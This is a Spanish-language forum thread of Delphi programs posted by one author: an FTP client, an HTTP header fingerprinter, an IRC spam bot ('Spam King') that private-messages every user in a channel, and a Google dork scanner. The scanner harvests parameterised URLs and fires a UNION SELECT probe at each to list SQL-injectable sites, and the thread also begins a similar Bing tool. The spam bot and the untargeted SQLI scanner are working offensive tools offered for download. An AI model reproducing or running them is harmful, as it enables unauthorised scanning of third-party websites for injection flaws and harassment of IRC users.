      sProgressBar1.Position := 0;
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm1.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    begin
      sProgressBar1.Position := AWorkCount;
      sStatusBar1.Panels[0].Text := '[+] Downloading ...';
      Form1.sStatusBar1.Update;
    end;

    procedure TForm1.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    begin
      sProgressBar1.Max := AWorkCountMax;
      sStatusBar1.Panels[0].Text := '[+] Starting download ...';
      Form1.sStatusBar1.Update;
    end;

    procedure TForm1.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    begin
      sProgressBar1.Position := 0;
    end;

    end.

    // The End ?


    Una imagen :



    Si quieren bajar el proyecto lo pueden hacer de aca
#175
Un simple cliente FTP que eh estado haciendo en Delphi con las siguientes opciones :

  • Listar archivos del servidor FTP
  • Permite moverse por los directorios
  • Se pueden subir y bajar archivos
  • Se pueden crear y borrar carpetas
  • Se pueden renombrar y borrar archivos

    Tambien tienen una tabla que les permite navegar por los directorios de sus computadoras para que les sea mas comodo bajar y subir archivos.

    Una imagen :



    El codigo

    Código (delphi) [Seleccionar]

    // Project File X 0.2
    // Coded By Doddy H
    // Credits :
    // Files Manager based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=421
    // Upload file based on : http://delphiallimite.blogspot.com.ar/2007/06/subiendo-archivos-por-ftp-con-indy.html
    // Download file based : http://delphiallimite.blogspot.com.ar/2007/06/descargango-archivos-por-ftp-con-indy.html

    unit ftp;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ImgList, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection,
      IdTCPClient, IdExplicitTLSClientServerBase, IdFTP, ComCtrls, sListView,
      StdCtrls, sButton, sEdit, sLabel, sGroupBox, acProgressBar, sStatusBar,
      IdFTPList,
      ShellAPI, sListBox, jpeg, ExtCtrls, Menus;

    type
      TForm1 = class(TForm)
        IdFTP1: TIdFTP;
        sSkinManager1: TsSkinManager;
        ImageList1: TImageList;
        sGroupBox1: TsGroupBox;
        sLabel1: TsLabel;
        sEdit1: TsEdit;
        sButton1: TsButton;
        sListView1: TsListView;
        sGroupBox2: TsGroupBox;
        sLabel2: TsLabel;
        sEdit2: TsEdit;
        sLabel3: TsLabel;
        sEdit3: TsEdit;
        sLabel4: TsLabel;
        sEdit4: TsEdit;
        sButton2: TsButton;
        sStatusBar1: TsStatusBar;
        sProgressBar1: TsProgressBar;
        sGroupBox3: TsGroupBox;
        sLabel5: TsLabel;
        sEdit5: TsEdit;
        sButton3: TsButton;
        sListView2: TsListView;
        ListBox1: TListBox;
        ListBox2: TListBox;
        ImageList2: TImageList;
        sButton5: TsButton;
        Image1: TImage;
        sButton4: TsButton;

        PopupMenu1: TPopupMenu;
        D1: TMenuItem;
        R1: TMenuItem;
        R2: TMenuItem;
        M1: TMenuItem;
        D2: TMenuItem;

        PopupMenu2: TPopupMenu;
        C1: TMenuItem;
        D3: TMenuItem;
        D4: TMenuItem;
        R3: TMenuItem;
        R4: TMenuItem;
        PopupMenu3: TPopupMenu;
        A1: TMenuItem;
        E1: TMenuItem;
        procedure sButton3Click(Sender: TObject);
        procedure sListView1DblClick(Sender: TObject);
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure IdFTP1Connected(Sender: TObject);
        procedure sListView2DblClick(Sender: TObject);
        procedure sButton5Click(Sender: TObject);
        procedure IdFTP1Work(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure IdFTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure IdFTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
        procedure FormCreate(Sender: TObject);
        procedure sButton4Click(Sender: TObject);
        procedure R1Click(Sender: TObject);
        procedure R2Click(Sender: TObject);

        procedure D2Click(Sender: TObject);
        procedure D1Click(Sender: TObject);
        procedure M1Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
        procedure D3Click(Sender: TObject);
        procedure D4Click(Sender: TObject);
        procedure R3Click(Sender: TObject);
        procedure R4Click(Sender: TObject);
        procedure D5Click(Sender: TObject);
        procedure A1Click(Sender: TObject);
        procedure E1Click(Sender: TObject);
        procedure IdFTP1Disconnected(Sender: TObject);

      private

        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure listarftp(dirnownow2: string; sListView2: TsListView; IdFTP1: TIdFTP;
      sListbox1: TListBox; sListbox2: TListBox; ImageList1: TImageList);
    var
      i: integer;
      Item: TIdFTPListItem;
      listate2: TListItem;

    begin

      sListView2.Items.Clear;
      sListbox1.Clear;
      sListbox2.Clear;

      listate2 := sListView2.Items.Add;

      IdFTP1.ChangeDir(dirnownow2);
      IdFTP1.List('*.*', True);

      for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
      begin

        Item := IdFTP1.DirectoryListing.Items[i];
        if Item.ItemType = ditFile then
        begin
          sListbox1.Items.Add(IdFTP1.DirectoryListing.Items[i].FileName);
        end
        else
        begin
          sListbox2.Items.Add(IdFTP1.DirectoryListing.Items[i].FileName);
        end;

      end;

      sListView2.Items.Clear;

      for i := 0 to sListbox2.Count - 1 do
      begin

        with sListView2 do

        begin

          listate2 := sListView2.Items.Add;
          listate2.Caption := sListbox2.Items[i];
          listate2.SubItems.Add('Directory');
          listate2.ImageIndex := 0;

        end;
      end;

      for i := 0 to sListbox1.Count - 1 do
      begin

        with sListView2 do

        begin

          listate2 := sListView2.Items.Add;
          listate2.Caption := sListbox1.Items[i];
          listate2.SubItems.Add('File');
          listate2.ImageIndex := 1;

        end;
      end;

    end;

    procedure listar(dirnownow: string; sListView1: TsListView;
      ImageList1: TImageList);
    var
      buscar: TSearchRec;
      Icon: TIcon;
      listate: TListItem;
      getdata: SHFILEINFO;
      dirnow: string;

    begin

      dirnow := StringReplace(dirnownow, '/', '\', [rfReplaceAll, rfIgnoreCase]);

      sListView1.Items.Clear;
      Icon := TIcon.Create;
      sListView1.Items.BeginUpdate;

      if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
      begin
        repeat
          if (buscar.Attr = faDirectory) then
          begin

            with sListView1 do
            begin

              if not(buscar.Name = '.') and not(buscar.Name = '..') then
              begin

                listate := sListView1.Items.Add;

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
                    (getdata), SHGFI_DISPLAYNAME);
                listate.Caption := getdata.szDisplayName;

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
                    (getdata), SHGFI_TYPENAME);
                listate.SubItems.Add(getdata.szTypeName);

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
                    (getdata), SHGFI_ICON or SHGFI_SMALLICON);
                Icon.Handle := getdata.hIcon;
                listate.ImageIndex := ImageList1.AddIcon(Icon);

                DestroyIcon(getdata.hIcon);

              end;
            end;

          end;
        until FindNext(buscar) <> 0;
        FindClose(buscar);
      end;

      if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
      begin
        repeat
          if (buscar.Attr <> faDirectory) then
          begin

            with sListView1 do
            begin

              listate := sListView1.Items.Add;

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
                  , SHGFI_DISPLAYNAME);
              listate.Caption := buscar.Name;

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
                  , SHGFI_TYPENAME);
              listate.SubItems.Add(getdata.szTypeName);

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
                  , SHGFI_ICON or SHGFI_SMALLICON);
              Icon.Handle := getdata.hIcon;
              listate.ImageIndex := ImageList1.AddIcon(Icon);

              DestroyIcon(getdata.hIcon);

            end;

          end

          until FindNext(buscar) <> 0;
          FindClose(buscar);
        end;

        sListView1.Items.EndUpdate;

      end;

      procedure TForm1.FormCreate(Sender: TObject);
      begin
        sProgressBar1.Max := 0;

        sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName)
          + 'Data';
        sSkinManager1.SkinName := 'matrix';
        sSkinManager1.Active := True;

      end;

      procedure TForm1.A1Click(Sender: TObject);
      begin
        ShowMessage('Contact to lepuke[at]hotmail[com]');
      end;

      procedure TForm1.C1Click(Sender: TObject);
      var
        newdir: string;
      begin

        newdir := InputBox('Write the name', 'Directory : ', 'test');

        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.MakeDir(newdir);
            ShowMessage('Directory created');
          end
        except
          begin
            ShowMessage('Error');
          end;
        end;

      end;

      procedure TForm1.D1Click(Sender: TObject);
      begin

        try
          begin
            RmDir(sEdit1.Text + sListView1.Selected.Caption);
            ShowMessage('Directory Deleted');
          end;
        except
          begin
            ShowMessage('Error');
          end;

        end;

      end;

      procedure TForm1.D2Click(Sender: TObject);
      begin

        if DeleteFile(sEdit1.Text + sListView1.Selected.Caption) then
        begin
          ShowMessage('File Deleted');
        end
        else
        begin
          ShowMessage('Error');
        end;

      end;

      procedure TForm1.IdFTP1Connected(Sender: TObject);
      begin
        sStatusBar1.Panels[0].Text := '[+] OnLine';
        Form1.sStatusBar1.Update;
      end;

      procedure TForm1.IdFTP1Disconnected(Sender: TObject);
      begin
        sStatusBar1.Panels[0].Text := '[+] OffLine';
        Form1.sStatusBar1.Update;
      end;

      procedure TForm1.IdFTP1Work(ASender: TObject; AWorkMode: TWorkMode;
        AWorkCount: Int64);
      begin

        sStatusBar1.Panels[0].Text := '[+] Working ...';
        Form1.sStatusBar1.Update;

        sProgressBar1.Position := AWorkCount div 1024;
      end;

      procedure TForm1.IdFTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
        AWorkCountMax: Int64);
      begin

        sStatusBar1.Panels[0].Text := '[+] Working ..';
        Form1.sStatusBar1.Update;

      end;

      procedure TForm1.IdFTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
      begin
        sStatusBar1.Panels[0].Text := '[+] Finished';
        Form1.sStatusBar1.Update;
        sProgressBar1.Max := 0;
      end;

      procedure TForm1.M1Click(Sender: TObject);
      var
        nombrecarpeta: string;
      begin

        chdir(sEdit1.Text);
        nombrecarpeta := InputBox('Write the name', 'Directory : ', 'test');
        try
          begin
            MkDir(nombrecarpeta);
            ShowMessage('Folder Created');
          end;
        except
          begin
            ShowMessage('Error');
          end;

        end;

      end;

      procedure TForm1.R1Click(Sender: TObject);
      var
        nuevonombre: string;
      begin
        nuevonombre := InputBox('Write the name', 'New name : ', 'testar');

        chdir(sEdit1.Text);
        if RenameFile(sListView1.Selected.Caption, nuevonombre) then
        begin
          ShowMessage('Ok');
        end
        else
        begin
          ShowMessage('Error');
        end;
      end;

      procedure TForm1.R2Click(Sender: TObject);
      begin
        listar(sEdit1.Text, sListView1, ImageList1);
      end;

      procedure TForm1.R3Click(Sender: TObject);
      var
        newname: string;
      begin

        newname := InputBox('Write the name', 'New name : ', 'testar');

        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.Rename(sListView2.Selected.Caption, newname);
            ShowMessage('File rename');
          end;
        except
          begin
            ShowMessage('Error');
          end;
        end;
      end;

      procedure TForm1.R4Click(Sender: TObject);
      begin
        listarftp(sEdit5.Text, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
      end;

      procedure TForm1.sButton1Click(Sender: TObject);
      begin
        listar(sEdit1.Text, sListView1, ImageList1);
      end;

      procedure TForm1.sButton2Click(Sender: TObject);
      begin

        sListView1.Items.Clear;
        sListView2.Items.Clear;

        ListBox1.Clear;
        ListBox2.Clear;

        if (sButton2.Caption = 'Disconnect') then
        begin
          IdFTP1.Disconnect;
          sButton2.Caption := 'Connect';
        end
        else
        begin

          IdFTP1.Host := sEdit2.Text;
          IdFTP1.Username := sEdit3.Text;
          IdFTP1.Password := sEdit4.Text;

          try
            IdFTP1.Connect;
            sButton2.Caption := 'Disconnect';
          except
            sStatusBar1.Panels[0].Text := '[-] Error';
            Form1.sStatusBar1.Update;
          end;
        end;
      end;

      procedure TForm1.sButton3Click(Sender: TObject);
      begin
        listarftp(sEdit5.Text, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
      end;

      procedure TForm1.sButton4Click(Sender: TObject);
      var
        fileabajar: string;
      begin

        fileabajar := sListView2.Selected.Caption; ;
        IdFTP1.OnWork := IdFTP1Work;
        IdFTP1.ChangeDir(sEdit5.Text);

        sProgressBar1.Max := IdFTP1.Size(ExtractFileName(fileabajar)) div 1024;

        IdFTP1.Get(fileabajar, sEdit1.Text + '/' + fileabajar, False, False);

      end;

      procedure TForm1.sButton5Click(Sender: TObject);
      var
        fileasubir: string;
        dirasubir: string;
        cantidad: File of byte;
      begin

        fileasubir := sEdit1.Text + sListView1.Selected.Caption;
        dirasubir := sEdit5.Text;

        IdFTP1.OnWork := IdFTP1Work;

        AssignFile(cantidad, fileasubir);
        Reset(cantidad);
        sProgressBar1.Max := FileSize(cantidad) div 1024;
        CloseFile(cantidad);

        IdFTP1.ChangeDir(dirasubir);
        IdFTP1.Put(fileasubir, sListView1.Selected.Caption, False);

      end;

      procedure TForm1.sListView1DblClick(Sender: TObject);
      var
        dir: string;
      begin

        dir := sEdit1.Text + sListView1.Selected.Caption + '/';
        if (DirectoryExists(dir)) then
        begin
          sEdit1.Text := sEdit1.Text + sListView1.Selected.Caption + '/';
          listar(dir, sListView1, ImageList1);
        end;
      end;

      procedure TForm1.sListView2DblClick(Sender: TObject);
      var
        dir: string;
      begin
        dir := sEdit5.Text + sListView2.Selected.Caption + '/';
        sEdit5.Text := sEdit5.Text + sListView2.Selected.Caption + '/';
        listarftp(dir, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
      end;

      procedure TForm1.D3Click(Sender: TObject);
      begin
        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.Delete(sListView2.Selected.Caption);
            ShowMessage('File Deleted');
          end;
        except
          begin
            ShowMessage('Error');
          end;
        end;
      end;

      procedure TForm1.D4Click(Sender: TObject);
      begin

        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.RemoveDir(sListView2.Selected.Caption);
            ShowMessage('Directory Deleted');
          end
        except
          ShowMessage('Error');
        end;

      end;

      procedure TForm1.D5Click(Sender: TObject);
      begin
        IdFTP1.Disconnect;
      end;

      procedure TForm1.E1Click(Sender: TObject);
      begin
        Form1.Close();
      end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de aca
#176
Un simple HTTP FingerPrinting hecho en Delphi.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// HTTP FingerPrinting 0.1
// Coded By Doddy H

unit http;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sMemo, sButton, sEdit, sLabel, sGroupBox, sSkinManager,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  IdCookieManager, Sockets, ComCtrls, sStatusBar, jpeg, ExtCtrls;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sMemo1: TsMemo;
    IdHTTP1: TIdHTTP;
    sStatusBar1: TsStatusBar;
    Image1: TImage;
    IdCookieManager1: TIdCookieManager;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cappuccino';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  i: integer;

begin

  sStatusBar1.Panels[0].text := '[+] Working ...';
  Form1.sStatusBar1.Update;

  sMemo1.Clear;

  try

    IdHTTP1.Get(sEdit1.text);

    sMemo1.Lines.Add('[+] ' + IdHTTP1.Response.ResponseText);
    sMemo1.Lines.Add('[+] Date : ' + DateTimeToStr(IdHTTP1.Response.Date));
    sMemo1.Lines.Add('[+] Server : ' + IdHTTP1.Response.Server);
    sMemo1.Lines.Add('[+] Last-Modified : ' + DateTimeToStr
        (IdHTTP1.Response.LastModified));
    sMemo1.Lines.Add('[+] ETag: ' + IdHTTP1.Response.ETag);
    sMemo1.Lines.Add('[+] Accept-Ranges : ' + IdHTTP1.Response.AcceptRanges);
    sMemo1.Lines.Add('[+] Content-Length : ' + IntToStr
        (IdHTTP1.Response.ContentLength));
    sMemo1.Lines.Add('[+] Connection : ' + IdHTTP1.Response.Connection);
    sMemo1.Lines.Add('[+] Content-Type : ' + IdHTTP1.Response.ContentType);

    for i := 1 to IdCookieManager1.CookieCollection.count do
    begin
      sMemo1.Lines.Add('[+] Cookie : ' + IdCookieManager1.CookieCollection.Items
          [i - 1].CookieText);
    end;

    sStatusBar1.Panels[0].text := '[+] Done';
    Form1.sStatusBar1.Update;

  except
    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;

  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca
#177
Programación General / [Delphi] Spam King 0.2
14 Junio 2013, 19:04 PM
Un simple programa para spammear en un canal IRC , solo ponen los mensajes a enviar y el programa cada cierto tiempo marcado por ustedes mandara mensajes privados a cada persona en ese canal marcado.

Una imagen :



El codigo

Código (delphi) [Seleccionar]

// Spam King 0.2
// Coded By Doddy H

unit irc;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sSkinManager, ExtCtrls, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdContext, IdCmdTCPClient,
  IdIRC, sMemo, sGroupBox, sLabel, sEdit, ComCtrls, sStatusBar, sListBox,
  PerlRegEx, jpeg, acPNG;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Timer1: TTimer;
    IdIRC1: TIdIRC;
    sGroupBox1: TsGroupBox;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sLabel3: TsLabel;
    sEdit3: TsEdit;
    sLabel4: TsLabel;
    sEdit4: TsEdit;
    sStatusBar1: TsStatusBar;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sLabel5: TsLabel;
    sEdit5: TsEdit;
    sButton2: TsButton;
    sGroupBox3: TsGroupBox;
    sListBox2: TsListBox;
    sButton1: TsButton;
    sLabel6: TsLabel;
    sEdit6: TsEdit;
    sButton3: TsButton;
    sGroupBox4: TsGroupBox;
    sMemo1: TsMemo;
    PerlRegEx1: TPerlRegEx;
    Console: TsGroupBox;
    sMemo2: TsMemo;
    sLabel1: TsLabel;
    Image1: TImage;
    sLabel7: TsLabel;
    procedure sButton1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
      AHost, ANicknameTo, AMessage: string);
    procedure sButton3Click(Sender: TObject);
    procedure IdIRC1NicknamesListReceived(ASender: TIdContext;
      const AChannel: string; ANicknameList: TStrings);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
      const AMessage: string);
    procedure IdIRC1Disconnected(Sender: TObject);
    procedure IdIRC1Connected(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;

end;

procedure TForm1.IdIRC1Connected(Sender: TObject);
begin
  sStatusBar1.Panels[0].text := '[+] Connected ...';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdIRC1Disconnected(Sender: TObject);
begin
  sStatusBar1.Panels[0].text := '[+] Stopped';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdIRC1NicknamesListReceived
  (ASender: TIdContext; const AChannel: string; ANicknameList: TStrings);
var
  i: integer;
  i2: integer;
  renicks: string;
  listanow: TStringList;
  arraynow: array of String;

begin

  sListBox2.Clear;

  for i := 0 to ANicknameList.Count - 1 do
  begin

    PerlRegEx1.Regex := '(.*) = ' + sEdit3.text + ' :(.*)';
    PerlRegEx1.Subject := ANicknameList[i];

    if PerlRegEx1.Match then
    begin
      renicks := PerlRegEx1.SubExpressions[2];

      renicks := StringReplace(renicks, sEdit4.text, '', []);

      listanow := TStringList.Create;
      listanow.Delimiter := ' ';
      listanow.DelimitedText := renicks;

      for i2 := 0 to listanow.Count - 1 do
      begin
        sListBox2.Items.Add(listanow[i2]);
      end;

    end;

  end;

end;

procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  AHost, ANicknameTo, AMessage: string);
begin
  sMemo1.Lines.Add(ANicknameFrom + ' : ' + AMessage);
end;

procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
  const AMessage: string);
begin
  sMemo2.Lines.Add(AMessage);
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  sListBox2.Items.Clear;
  sMemo2.Lines.Clear;
  sMemo1.Lines.Clear;

  IdIRC1.Host := sEdit1.text;
  IdIRC1.Port := StrToInt(sEdit2.text);
  IdIRC1.Nickname := sEdit4.text;
  IdIRC1.Username := sEdit4.text + ' 1 1 1 1';
  IdIRC1.AltNickname := sEdit4.text + '-123';

  try

    IdIRC1.Connect;
    IdIRC1.Join(sEdit3.text);

    Timer1.Interval := StrToInt(sEdit6.text) * 1000;
    Timer1.Enabled := True;

  except
    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  sListBox1.Items.Add(sEdit5.text);
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  sStatusBar1.Panels[0].text := '[-] Stopped';
  Form1.sStatusBar1.Update;
  IdIRC1.Disconnect();
  Abort;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
begin

  sStatusBar1.Panels[0].text := '[+] Spamming ...';
  Form1.sStatusBar1.Update;

  for i := 0 to sListBox2.Count - 1 do
  begin

    IdIRC1.Say(sListBox2.Items[i], sListBox1.Items[Random(sListBox1.Count - 1)
        + 0]);

  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca
#178
Un simple programa para buscar paginas vulnerables a SQLI usando Google.

Una imagen :



El codigo  :

Código (delphi) [Seleccionar]

// Google Search 0.1
// Coded By Doddy H

unit goo;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sSkinManager, IdURI, sMemo, PerlRegEx,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, jpeg,
  ExtCtrls, sEdit, sLabel, sGroupBox, sListBox, ComCtrls, sStatusBar, ShellApi,
  IdContext, IdCmdTCPClient;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    PerlRegEx2: TPerlRegEx;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sListBox2: TsListBox;
    sStatusBar1: TsStatusBar;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    PerlRegEx3: TPerlRegEx;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sListBox1DblClick(Sender: TObject);
    procedure sListBox2DblClick(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Writeln(ar, texto);
  CloseFile(ar);

end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'falloutstyle';
  sSkinManager1.Active := True;

  dir := ExtractFilePath(Application.ExeName) + '/logs';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  code: string;
  link1: string;
  link2: string;
  linkfinal: string;
  z: integer;
  i: integer;
  ii: integer;
  target: string;
  linkfinalfinal: string;
  chau: TStringList;

begin

  target := StringReplace(sEdit1.text, ' ', '+', []);

  sListBox1.Items.Clear;

  for i := 1 to StrToInt(sEdit2.text) do
  begin
    ii := i * 10;

    sStatusBar1.Panels[0].text := '[+] Searching in page : ' + IntToStr(ii);
    Form1.sStatusBar1.Update;

    code := IdHTTP1.Get('http://www.google.com/search?hl=&q=' + target +
        '&start=' + IntToStr(ii));

    PerlRegEx1.Regex := '(?<="r"><. href=")(.+?)"';
    PerlRegEx1.Subject := code;

    while PerlRegEx1.MatchAgain do
    begin
      for z := 1 to PerlRegEx1.SubExpressionCount do

        link1 := PerlRegEx1.SubExpressions[z];

      PerlRegEx2.Regex := '\/url\?q\=(.*?)\&amp\;';
      PerlRegEx2.Subject := link1;

      if PerlRegEx2.Match then
      begin
        link2 := PerlRegEx2.SubExpressions[1];
        linkfinal := TIdURI.URLDecode(link2);
        sListBox1.Update;

        PerlRegEx3.Regex := '(.*?)=(.*?)';

        PerlRegEx3.Subject := linkfinal;

        if PerlRegEx3.Match then
        begin
          linkfinalfinal := PerlRegEx3.SubExpressions[1] + '=';
          sListBox1.Items.Add(linkfinalfinal);
        end;

      end;
    end;
  end;

  chau := TStringList.Create;

  chau.Duplicates := dupIgnore;
  chau.Sorted := True;
  chau.Assign(sListBox1.Items);
  sListBox1.Items.Clear;
  sListBox1.Items.Assign(chau);

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin
    savefile('google-search.txt', sListBox1.Items[i]);
  end;

  sStatusBar1.Panels[0].text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  i: integer;
  code: string;

begin

  sListBox2.Items.Clear;

  sStatusBar1.Panels[0].text := '[+] Loading ...';
  Form1.sStatusBar1.Update;

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin
    try
      begin

        sStatusBar1.Panels[0].text := '[+] Scanning : ' + sListBox1.Items[i];
        Form1.sStatusBar1.Update;
        sListBox2.Update;

        code := IdHTTP1.Get(sListBox1.Items[i] + '-1+union+select+1--');

        PerlRegEx1.Regex :=
          'The used SELECT statements have a different number of columns';
        PerlRegEx1.Subject := code;

        if PerlRegEx1.Match then
        begin
          sListBox2.Items.Add(sListBox1.Items[i]);
          savefile('sqli-founds.txt', sListBox1.Items[i]);
        end;

      end;
    except
      on E: EIdHttpProtocolException do
        ;
      on E: Exception do
        ;
    end;

    sStatusBar1.Panels[0].text := '[+] Done';
    Form1.sStatusBar1.Update;

  end;

end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'google-search.txt', nil, nil, SW_SHOWNORMAL);
end;

procedure TForm1.sListBox2DblClick(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'sqli-founds.txt', nil, nil, SW_SHOWNORMAL);
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.
#179
Traduccion a delphi de este programa para buscar paginas vulnerables a SQLI usando bing.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// BingHackTool 0.1
// Coded By Doddy H

unit bing;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sMemo, sSkinManager, PerlRegEx, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, sEdit, sLabel, sGroupBox,
  sListBox, ComCtrls, sStatusBar, ShellApi, jpeg, ExtCtrls;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    sSkinManager1: TsSkinManager;
    PerlRegEx2: TPerlRegEx;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sLabel2: TsLabel;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox3: TsGroupBox;
    sListBox2: TsListBox;
    sStatusBar1: TsStatusBar;
    sGroupBox4: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    Image1: TImage;
    procedure sButton1Click(Sender: TObject);
